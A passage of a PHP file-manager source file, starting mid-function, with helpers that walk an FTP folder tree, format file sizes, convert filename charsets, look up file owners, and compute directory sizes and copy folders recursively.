$timefc = microtime(true) - $startfc;
if($timefc > 20):
echo 'all'.$GLOBALS['trc'];
ftp_close($connect);
exit;
endif;
$GLOBALS['foc']++;
if(!isset($_SESSION['foldrers'][$GLOBALS['foc']][0])) {
if ( @ftp_chdir($connect, $ftp_fold) ) :
if ($contents = ftp_rawlist($connect,".")) {
$i = 1;
foreach ($contents as $key=>$val) {
$itemz = explode(" ",$val);
$ki = 0;
foreach($itemz as $kval):
if($kval != "") {
$item[$key][$ki] = $kval;
$ki++;
}
endforeach;
$item_name = explode('.',$item[$key][8]);
if(preg_match("/^d/",$item[$key][0]) == 0) $item_type = 1;
else $item_type = 0;
$dir = $ftp_fold;
if ($ftp_fold == "/") $dir = "";
if ($item_type == "1") {
$_SESSION['tree_array'][$GLOBALS['trc']]['type'] = 'file';
$_SESSION['tree_array'][$GLOBALS['trc']]['path'] = $dir . "/" . $item[$key][8];
$GLOBALS['trc']++;
} else {
if($item[$key][8] != '.' && $item[$key][8] !='..') {
$_SESSION['tree_array'][$GLOBALS['trc']]['type'] = 'dir';
$_SESSION['tree_array'][$GLOBALS['trc']]['path'] = $dir . "/" . $item[$key][8];
$_SESSION['foldrers'][$GLOBALS['foc']][$i] = $dir . "/" . $item[$key][8];
$GLOBALS['trc']++;
$i++;
}
}
}
$_SESSION['foldrers'][$GLOBALS['foc']][0] = $ftp_fold;
}
else return false;
endif;
}
foreach ($_SESSION['foldrers'][$GLOBALS['foc']] as $fn=>$fpath) {
if($fn != 0):
folder_tree($connect, $fpath, $startfc);
endif;
}
return true;
}
function fileext($file) {
$p = pathinfo($file);
if(isset($p['extension'])) return $p['extension'];
else return false;
}
function convertsize($size){
$times = 0;
$comma = '.';
while ($size>1024){
$times++;
$size = $size/1024;
}
$size2 = floor($size);
$rest = $size - $size2;
$rest = $rest * 100;
$decimal = floor($rest);
$addsize = $decimal;
if ($decimal<10) {$addsize .= '0';};
if ($times == 0){$addsize=$size2;} else
{$addsize=$size2.$comma.substr($addsize,0,2);}
switch ($times) {
case 0 : $mega = ' bytes'; break;
case 1 : $mega = ' KB'; break;
case 2 : $mega = ' MB'; break;
case 3 : $mega = ' GB'; break;
case 4 : $mega = ' TB'; break;}
$addsize .= $mega;
return $addsize;
}
function octaldec($octal) {
$arroct = str_split($octal);
$dec = 0;
$i = (count($arroct)-1)*3;
foreach($arroct as $val):
$dec = $dec + $val*pow(2,$i);
$i = $i-3;
endforeach;
return $dec;
}
function convlink($filename) {
if(preg_match("/windows-125/i",$_SESSION['charset'])) {
$return = mb_convert_encoding($filename,"windows-1252",mb_detect_encoding($_SERVER['PHP_SELF']));
$return = mb_convert_encoding(urlencode($return),"UTF-8",$_SESSION['charset']);
} else {
$return = urlencode($filename);
}
return $return;
}
function convname($filename) {
if(preg_match("/windows-125/i",$_SESSION['charset'])) {
$first = mb_convert_encoding($filename,"windows-1252",mb_detect_encoding($_SERVER['PHP_SELF']));
$filename = mb_convert_encoding($first,"UTF-8",$_SESSION['charset']);
}
return $filename;
}
function timeTOint($time) {
$arrc = explode('/',$time);
$arcd = explode('.',$arrc[0]);
$arct = explode(':',$arrc[1]);
$return = mktime($arct[0],$arct[1],$arct[2],$arcd[1],$arcd[0],$arcd[2]);
return $return;
}
function getowgr($filename) {
$owid = @fileowner($filename);
$grid = @filegroup($filename);
$owarr = @posix_getpwuid($owid);
$grarr = @posix_getgrgid($grid);
$ow = $owarr['name']?$owarr['name']:$owid;
$gr = $grarr['name']?$grarr['name']:$grid;
$return = array('name' => $ow,'group' => $gr,'owid' => $owid,'grid' => $grid);
return $return;
}
function getDirSize($arr) {
$path = $arr['path'];
$s = $arr['s'];
$d = $arr['d'];
$f = $arr['f'];
$dir = scandir($path);
foreach($dir as $file)
{
if($file != '.' && $file != '..')
if(is_dir($path .'/'.$file)) {
$newarr = array('path'=>$path.'/'.$file,'s'=>$s,'d'=>$d,'f'=>$f);
$darr = getDirSize($newarr);
$s = $darr['s'];
$d = $darr['d'] + 1;
$f = $darr['f'];
} else {
$s += filesize($path.'/'.$file);
$f++;
}
}
$return = array('s'=>$s,'d'=>$d,'f'=>$f);
return $return;
}
function afull_copy($source, $target) {
if (is_dir($source)) {
@mkdir($target);
$d = dir($source);
while (FALSE !== ($entry = $d->read())) {
if ($entry == '.' || $entry == '..') continue;
afull_copy("$source/$entry", "$target/$entry");
}
$d->close();
}
else copy($source, $target);
return true;
}